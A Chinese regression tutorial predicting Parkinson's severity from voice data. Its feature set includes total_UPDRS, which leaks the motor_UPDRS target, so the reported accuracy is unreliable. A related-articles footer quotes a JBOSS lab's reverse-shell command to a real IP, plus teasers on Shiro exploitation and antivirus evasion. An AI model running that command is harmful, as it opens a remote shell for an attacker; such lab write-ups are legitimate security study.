医学数据分析实训 项目四 回归分析--预测帕金森病病情的严重程度

文章目录

  • 项目四:回归分析
      • 实践目的
      • 实践平台
      • 实践内容
  • 预测帕金森病病情的严重程度作业
    • (一)数据读入及理解
    • (二)数据准备
    • (三)模型建立
    • (四)模型预测
    • (五)模型评价及优化

项目四:回归分析

实践目的

  • 熟悉并掌握线性回归模型及其使用方法;
  • 理解回归分析算法并能使用回归模型分析数据集;
  • 熟悉模型性能评估的方法;

实践平台

  • 操作系统:Windows 7 及以上
  • Python 版本:3.8.x 及以上
  • 开发环境:PyCharm 或 Anoconda 集成环境

实践内容

数据集:“parkinsons_updrs.data”,专注于通过远程监测设备记录帕金森病患者的语音信号来预测病情严重程度。

主要属性

  • subject#:受试者编号;
  • age:受试者年龄;
  • sex:受试者性别;
  • test_time:从招募日期开始的时间间隔;
  • motor_UPDRS:运动症状帕金森病评分量表分数;
  • total_UPDRS:总体帕金森病评分量表分数;
  • Jitter(%):声音信号频率抖动的百分比;
  • Jitter(Abs):声音信号频率抖动的绝对值;
  • Jitter:RAP:声音信号频率抖动的相对平均扰动;
  • Jitter:PPQ5:与五个周期相关的频率抖动特征;
  • Jitter:DDP:与差分相关的频率抖动特征;
  • Shimmer:声音信号振幅的抖动;
  • Shimmer(dB):以分贝为单位的振幅抖动;
  • Shimmer:APQ3:与三个周期相关的振幅抖动特征;
  • Shimmer:APQ5:与五个周期相关的振幅抖动特征;
  • Shimmer:APQ11:与十一个周期相关的振幅抖动特征;
  • Shimmer:DDA:与差分相关的振幅抖动特征;
  • NHR:噪声谐波比;
  • HNR:谐波噪声比;
  • RPDE:循环周期密度熵;
  • DFA:趋势波动分析;
  • PPE: 基频变化的非线性测量。

步骤

  1. 数据读入及理解

    • 导入所需Python包;
    • 将数据读入DataFrame格式,查看前5行数据;
    • 使用describe()info()方法和shape属性进行探索性分析;
  2. 数据准备

    • 数据清洗:处理缺失值、重复值、异常值;
    • 标准化处理;
    • 使用Seaborn.pairplot()可视化展示“Jitter:RAP”、“Jitter:DDP”、“Shimmer:DDA”与“motor_UPDRS”、“total_UPDRS”的相关性;
    • 准备特征矩阵(X)和目标向量(y);
  3. 模型建立

    • 使用train_test_split()方法划分训练集和测试集(random_state=1,25%测试,75%训练);
    • 使用LinearRegression进行线性回归,并通过score()方法输出模型准确率;
  4. 模型预测

    • 输出预测值(y_pred);
    • 对比y_pred与y_test;
  5. 模型评价及优化

    • 使用sklearn.metrics模块中的MSE、RMSE、R²对模型进行评价;
    • 建立岭回归或Lasso回归模型,进行训练和预测;
    • 对岭回归或Lasso回归模型进行评价;
    • 对比两种模型预测结果。

预测帕金森病病情的严重程度作业

(一)数据读入及理解

# 1. 导入本案例所需的 Python 包
import json
import os
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
# 显示中文
plt.rcParams['font.sans-serif'] = ['SimHei']
# 显示负号
plt.rcParams['axes.unicode_minus'] = False# 2. 将数据读入并存为 DataFrame 格式,查看前 5 行数据
data = pd.read_csv('input/parkinsons_updrs.data')
print(data.head())
# 3. 通过 describe()、info()方法和 shape 属性等方法对读入的数据对象进行探索性分析
# 显示数据的基本统计信息
print(data.describe())
# 显示数据的信息
print(data.info())
# 显示数据的形状
print(f"数据形状: {data.shape}")

(二)数据准备

# 1.	对数据集从缺失值、重复值、异常值等方面进行数据清洗;# 检查缺失值
print('缺失值情况:', data.isnull().sum())
# 处理缺失值(假设用均值填充)
# data.fillna(data.mean(), inplace=True)# 检查重复值
print("\n重复值数量:", data.duplicated().sum())
# 删除重复值
# data.drop_duplicates(inplace=True)
# 异常值处理(假设使用 IQR 方法)
Q1 = data.quantile(0.25, axis=0)
Q3 = data.quantile(0.75, axis=0)
IQR = Q3 - Q1# 定义异常值范围
outliers = ((data < (Q1 - 1.5 * IQR)) | (data > (Q3 + 1.5 * IQR)))# 替换异常值(例如用中位数)
for column in data.columns:if column in outliers.columns:data.loc[outliers[column], column] = data[column].median()# 查看异常值处理后的数据
print("异常值处理后的数据:\n", data.head())
# 2.对数据进行标准化处理;
from sklearn.preprocessing import StandardScaler
scaler = StandardScaler()# 选定需要标准化的特征(排除非数值类型特征)
features = ["Jitter:RAP", "Jitter:DDP", "Shimmer:DDA"]
data[features] = scaler.fit_transform(data[features])print("标准化后的数据:\n", data.head())# 3. 通过 Seaborn.pairplot()可视化展示"Jitter:RAP","Jitter:DDP","Shimmer:DDA"与"motor_UPDRS","total_UPDRS"的相关性;
selected_columns = ['Jitter:RAP', 'Jitter:DDP', 'Shimmer:DDA', 'motor_UPDRS', 'total_UPDRS']# 绘制 pairplot
sns.pairplot(data[selected_columns])
plt.show()

在这里插入图片描述

# 4.	进行回归分析前,准备好模型所需的特征矩阵(X)和目标向量(y)。
# # 特征矩阵
# X = data[["Jitter:RAP", "Jitter:DDP", "Shimmer:DDA","total_UPDRS"]]
# 
# # 目标变量
# y_motor = data["motor_UPDRS"]
# 准备特征矩阵(X)和目标向量(y)X = data[["Jitter:RAP", "Jitter:DDP", "Shimmer:DDA","total_UPDRS"]]
y_motor = data['motor_UPDRS']
y_total = data['total_UPDRS']# 查看特征矩阵和目标向量的形状
print("特征矩阵 X 的形状:", X.shape)
print("目标向量 y_motor 的形状:", y_motor.shape[0])
print("目标向量 y_total 的形状:", y_total.shape[0])

特征矩阵 X 的形状: (5875, 4)
目标向量 y_motor 的形状: 5875
目标向量 y_total 的形状: 5875

(三)模型建立

# 1 调用 sklearn.model_selection 中的 train_test_split() 方法进行训练集和测试集的拆分
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LinearRegression
from sklearn.metrics import r2_score#  X 和 y_motor 已经定义
# X = data.drop(['motor_UPDRS', 'total_UPDRS'], axis=1)
# y_motor = data['motor_UPDRS']# 拆分训练集和测试集
X_train, X_test, y_train, y_test = train_test_split(X, y_motor, test_size=0.25, random_state=1)# 查看训练数据和测试数据的数量
print("训练数据数量:", len(X_train))
print("测试数据数量:", len(X_test))

训练数据数量: 4406
测试数据数量: 1469

# 2.	调用 sklearn.linear_model 中的 LinearRegression 对训练集进行线性回归,并通过 score()方法输出模型的准确率;
# 创建线性回归模型
linear_reg = LinearRegression()# 训练模型
linear_reg.fit(X_train, y_train)# 输出模型的准确率(R^2 分数)
train_score = linear_reg.score(X_train, y_train)
test_score = linear_reg.score(X_test, y_test)print("训练集准确率 (R^2):", train_score)
print("测试集准确率 (R^2):", test_score)

训练集准确率 (R^2): 0.8968939783000226
测试集准确率 (R^2): 0.8984946250185042

(四)模型预测

# 1.	输出预测值(y_pred);
# 使用训练好的模型进行预测
y_pred = linear_reg.predict(X_test)# 输出预测值
print("预测值 (y_pred):", y_pred)
# 2.	通过可视化图表对 y_pred 和 y_test 进行对比;
import matplotlib.pyplot as plt# 设置显示中文字体
plt.rcParams['font.sans-serif'] = ['SimHei']  # 指定默认字体
# 设置正常显示符号
plt.rcParams['axes.unicode_minus'] = False
# 创建一个图形
plt.figure(figsize=(10, 6))# 绘制实际值和预测值
plt.scatter(y_test, y_pred, color='blue', label='预测值')
plt.plot([y_test.min(), y_test.max()], [y_test.min(), y_test.max()], color='red', linewidth=2, label='实际值')# 添加标签和标题
plt.xlabel('实际值 (y_test)')
plt.ylabel('预测值 (y_pred)')
plt.title('实际值 vs 预测值')
plt.legend()# 显示图形
plt.show()

在这里插入图片描述

(五)模型评价及优化

# 1.	调用 sklearn.metrics 模块,通过均方误差(MSE)“mean_squared_error”、均方根误差(RMSE)以及决定系数(R2) “r2_score” 对模型进行评价;
from sklearn.metrics import mean_squared_error, r2_score
import numpy as np
# 计算均方误差(MSE)
mse = mean_squared_error(y_test, y_pred)# 计算均方根误差(RMSE)
# rmse = mean_squared_error(y_test, y_pred, squared=False)
# FutureWarning: 'squared' is deprecated in version 1.4 and will be removed in 1.6. To calculate the root mean squared error, use the function'root_mean_squared_error'.
rmse = np.sqrt(mse)# 直接用 numpy 计算 RMSE# 计算决定系数(R2)
r2 = r2_score(y_test, y_pred)print("均方误差 (MSE):", mse)
print("均方根误差 (RMSE):", rmse)
print("决定系数 (R2_score):", r2)
# 2.	建立岭回归或 Lasso 回归模型,对数据集进行训练并预测;
from sklearn.linear_model import Ridge, Lasso# 建立岭回归模型
ridge_reg = Ridge(alpha=1.0)
ridge_reg.fit(X_train, y_train)
y_pred_ridge = ridge_reg.predict(X_test)# 建立 Lasso 回归模型
lasso_reg = Lasso(alpha=1.0)
lasso_reg.fit(X_train, y_train)
y_pred_lasso = lasso_reg.predict(X_test)# 3 通过均方误差(MSE)、均方根误差(RMSE)以及决定系数(R2) 对岭回归或 Lasso 回归模型进行评价
# 评价岭回归模型
mse_ridge = mean_squared_error(y_test, y_pred_ridge)
rmse_ridge = np.sqrt(mse_ridge)
r2_ridge = r2_score(y_test, y_pred_ridge)print("岭回归 均方误差 (MSE):", mse_ridge)
print("岭回归 均方根误差 (RMSE):", rmse_ridge)
print("岭回归 决定系数 (R2_SCORE):", r2_ridge)# 评价 Lasso 回归模型
mse_lasso = mean_squared_error(y_test, y_pred_lasso)
rmse_lasso = np.sqrt(mse_lasso)
r2_lasso = r2_score(y_test, y_pred_lasso)print("Lasso 回归 均方误差 (MSE):", mse_lasso)
print("Lasso 回归 均方根误差 (RMSE):", rmse_lasso)
print("Lasso 回归 决定系数 (R2_SCORE):", r2_lasso)# 保存数据
results = {}
results['线性回归'] = {'均方误差': mse, '均方根误差': rmse, '决定系数': r2}
results['岭回归'] = {'均方误差': mse_ridge, '均方根误差': rmse_ridge, '决定系数': r2_ridge}
results['Lasso 回归'] = {'均方误差': mse_lasso, '均方根误差': rmse_lasso, '决定系数': r2_lasso}
# print(results)# 保存数据
output_dir = 'output'# 保存 JSON 文件
json_file_path = os.path.join(output_dir, '三种回归评价.json')with open(json_file_path, 'w', encoding='utf-8') as f:json.dump(results, f, ensure_ascii=False, indent=4)print('已完成保存 JSON 文件')
{"线性回归": {"均方误差": 6.914145184671658,"均方根误差": 2.6294762186929277,"决定系数": 0.8984946250185042},"岭回归": {"均方误差": 6.914213719729213,"均方根误差": 2.629489250734677,"决定系数": 0.8984936188671246},"Lasso 回归": {"均方误差": 6.916797056785589,"均方根误差": 2.6299804289738717,"决定系数": 0.8984556933405978}
}
# 4 通过可视化图表对比两种模型预测结果
# 创建一个图形
plt.figure(figsize=(15, 5))# 绘制线性回归模型的预测结果
plt.subplot(1, 3, 1)
plt.scatter(y_test, y_pred, color='blue', label='预测值')
plt.plot([y_test.min(), y_test.max()], [y_test.min(), y_test.max()], color='red', linewidth=2, label='实际值')
plt.xlabel('实际值 (y_test)')
plt.ylabel('预测值 (y_pred)')
plt.title('线性回归 实际值 vs 预测值')
plt.legend()# 绘制岭回归模型的预测结果
plt.subplot(1, 3, 2)
plt.scatter(y_test, y_pred_ridge, color='green', label='预测值')
plt.plot([y_test.min(), y_test.max()], [y_test.min(), y_test.max()], color='red', linewidth=2, label='实际值')
plt.xlabel('实际值 (y_test)')
plt.ylabel('预测值 (y_pred_ridge)')
plt.title('岭回归 实际值 vs 预测值')
plt.legend()# 绘制 Lasso 回归模型的预测结果
plt.subplot(1, 3, 3)
plt.scatter(y_test, y_pred_lasso, color='orange', label='预测值')
plt.plot([y_test.min(), y_test.max()], [y_test.min(), y_test.max()], color='red', linewidth=2, label='实际值')
plt.xlabel('实际值 (y_test)')
plt.ylabel('预测值 (y_pred_lasso)')
plt.title('Lasso 回归 实际值 vs 预测值')
plt.legend()# 显示图形
plt.tight_layout()
plt.savefig('./output/三种回归预测结果.png')
plt.show()# 保存图片print('已完成保存图片')

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1543490.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Web端云剪辑解决方案,可实现移动端、PC、云平台无缝兼容

美摄科技作为业界领先的视频技术解决方案提供商&#xff0c;再次以科技创新为驱动&#xff0c;隆重推出其Web端云剪辑解决方案&#xff0c;彻底颠覆传统剪辑模式的界限&#xff0c;为视频创作者、影视制作人及广告从业者带来前所未有的高效与便捷。 【跨平台无缝协作&#xff…

消息队列:如何确保消息不会丢失?

引言 对业务系统来说&#xff0c;丢消息意味着数据丢失&#xff0c;这是无法接受的。 主流的消息队列产品都提供了非常完善的消息可靠性保证机制&#xff0c;完全可以做到在消息传递过程中&#xff0c;即使发生网络中断或者硬件故障&#xff0c;也能确保消息的可靠传递&#…

智能优化算法-多目标灰狼优化算法(MOGWO)(附源码)

目录 1.内容介绍 2.部分代码 3.实验结果 4.内容获取 1.内容介绍 多目标灰狼优化算法 (Multi-Objective Grey Wolf Optimizer, MOGWO) 是一种基于群体智能的元启发式优化算法&#xff0c;它扩展了经典的灰狼优化算法 (GWO)&#xff0c;专门用于解决多目标优化问题。MOGWO通过模…

IT监控管理工具 WGCLOUD - 使用公共告警消息推送接口

WGCLOUD的公共告警接口 用于外部业务系统调用的告警接口&#xff0c;需要升级到v3.4.5或以上版本 只要调用这个接口&#xff0c;就可以将消息同步推送到我们的告警平台&#xff0c;比如邮件&#xff0c;钉钉&#xff0c;企业微信等 此接口主要给有告警需求的第三方系统使用&…

软件功能测试需进行哪些测试?第三方软件测评机构有哪些测试方法?

在信息化社会迅速发展的今天&#xff0c;软件功能测试在软件开发生命周期中占据着不可或缺的地位。软件功能测试是评估软件系统是否符合预期功能和用户需求的过程。其重要性体现在提升软件质量、确保用户满意度以及降低维护成本等方面。 软件功能测试是对软件应用程序进行的一…

软件测试实验室如何利用GB/T25000标准建立测试技术体系

《系统与软件工程 系统与软件质量要求和评价&#xff08;SQuaRE&#xff09;》是国际标准化组织ISO/IEC为统一软件质量评判标准而指定的软件质量度量和评价的标准。该标准是开展中国合格评定国家认可委员会&#xff08;CNAS&#xff09;实验室认可软件测评实验室过程中需要参照…

开源模型应用落地-Qwen2.5-Coder模型小试-码无止境(一)

一、前言 代码专家模型是一种基于人工智能的先进技术&#xff0c;旨在自动分析和理解大量代码库&#xff0c;并从中学习常见的编码模式和最佳实践。这种模型通过深度学习和自然语言处理&#xff0c;能够提供准确而高效的代码建议&#xff0c;帮助开发人员在编写代码时有效地避免…

[ComfyUI]Flux:太美啦!绮梦流光-水湄凝香,写实与虚拟混合,极致细节和质感

大家好我是安琪&#xff01;&#xff01;&#xff01; 在数字艺术和创意领域&#xff0c;[ComfyUI]Flux已经成为艺术家和设计师们手中的利器。今天&#xff0c;我们激动地宣布&#xff0c;[ComfyUI]Flux带来了一款令人瞩目的创新作品——绮梦流光-水湄凝香。这款作品将写实与虚…

怎么把kgm转换成mp3?5个kgm转mp3的方法,亲测管用!

很多小伙伴不难发现kgm格式只能在固定的平台或设备上播放&#xff0c;如果想要打破这一限制&#xff0c;我们可以将kgm格式转换为兼容性较强的mp3格式。 下面&#xff0c;就来给大家分享5个好用的kgm转mp3方法&#xff0c;操作简单&#xff0c;小白也能分分钟学会哦~ kgm转mp3…

全民皆信奥?编程教育不应成为‘金牌梦’的牺牲品

近年来&#xff0c;信息学奥赛&#xff08;信奥&#xff09;成为众多家长为孩子规划的学习目标之一&#xff0c;期望通过编程学习在未来脱颖而出&#xff0c;甚至进入清华、北大等顶尖高校。然而&#xff0c;是否每个孩子都适合走这条信息学奥赛的道路&#xff1f;全民皆信奥是…

多机器学习模型学习

特征处理 import os import numpy as np import pandas as pd from sklearn.model_selection import train_test_split from sklearn.model_selection import StratifiedShuffleSplit from sklearn.impute import SimpleImputer from sklearn.pipeline import FeatureUnion fr…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

MySQL之基本查询(二)(update || delete || 聚合函数 || group by)

目录 一、表的更新update 二、表的删除delete 三、聚合函数 四、group by 分组查询 一、表的更新update 语法&#xff1a; UPDATE table_name SET column expr [, column expr ...] [WHERE ...] [ORDER BY ...] [LIMIT ...] 使用实列&#xff1a; ~ 将孙悟空同学的数学…

Shiro rememberMe反序列化漏洞(Shiro-550) 靶场攻略

漏洞原理 Apache Shiro框架提供了记住密码的功能&#xff08;RememberMe&#xff09;&#xff0c;⽤户登录成功后会⽣成经过 加密并编码的cookie。在服务端对rememberMe的cookie值&#xff0c;先base64解码然后AES解密再反 序列化&#xff0c;就导致了反序列化RCE漏洞。 那么&a…

杀软对抗 ---> Perfect Syscall??

好久没更了&#xff0c;今天想起来更新了&#x1f60b;&#x1f60b;&#x1f60b;&#x1f60b; 目录 1.AV && EDR 2.Perfect Syscall&#xff1f;&#xff1f; 3.Truly Perfect ??? 在开始之前先来展示一下这次的免杀效果 1.AV && EDR 360 天擎EDR …

Redis事务总结

1.事务介绍 Redis 事务是一个用于将多个命令打包在一起执行的功能&#xff0c;它可以确保这些命令按照顺序执行&#xff0c;并且具有原子性。这意味着事务中的命令要么全部执行&#xff0c;要么全部不执行&#xff0c;这有助于保持数据的一致性。 Redis 事务本质&#xff1a;…

教你轻松搞定西门子PLC与三菱PLC之间无线Modbus通讯

自第一台PLC在GM公司汽车生产线上首次应用成功以来&#xff0c;PLC凭借其方便性、可靠性以及低廉的价格得到了广泛的应用。在现代化工厂中&#xff0c;除厂级PLC系统外&#xff0c;还存在很多独立的子系统。比如&#xff0c;各个生产车间的PLC系统、或同一生产车间的不同生产流…

JavaSE高级(3)——lombok、juint单元测试、断言

一、lombok的使用 默认jvm不解析第三方注解&#xff0c;需要手动开启 链式调用 二、juint单元测试 下载juint包 public class TestDemo {// 在每一个单元测试方法执行之前执行Beforepublic void before() {// 例如可以在before部分创建IO流System.out.println("befor…

【大模型实战篇】大模型GPU推理测试(以Qwen2.5-7B为例)

1. 背景介绍 今天到了两块新的3090卡&#xff0c;用nvidia-smi看下部署情况。我们使用Qwen2.5-7B简单做了下推理测试。 3090卡的基本配置信息如下图所示&#xff0c;使用两块卡做成GPU集群&#xff0c;显存有48G&#xff0c;内存带宽936.2 GB/s&#xff0c; 基本上可以应对…

【OpenCV】场景中人的识别与前端计数

1.OpenCV代码设计讲解 突发奇想&#xff0c;搞个摄像头&#xff0c;识别一下实验室里面有几个人&#xff0c;计数一下&#xff08;最终代码是累加计数&#xff0c;没有优化&#xff09;&#xff0c;拿OpenCV来玩一玩 首先&#xff0c;还是优先启动电脑摄像头&#xff0c;本项…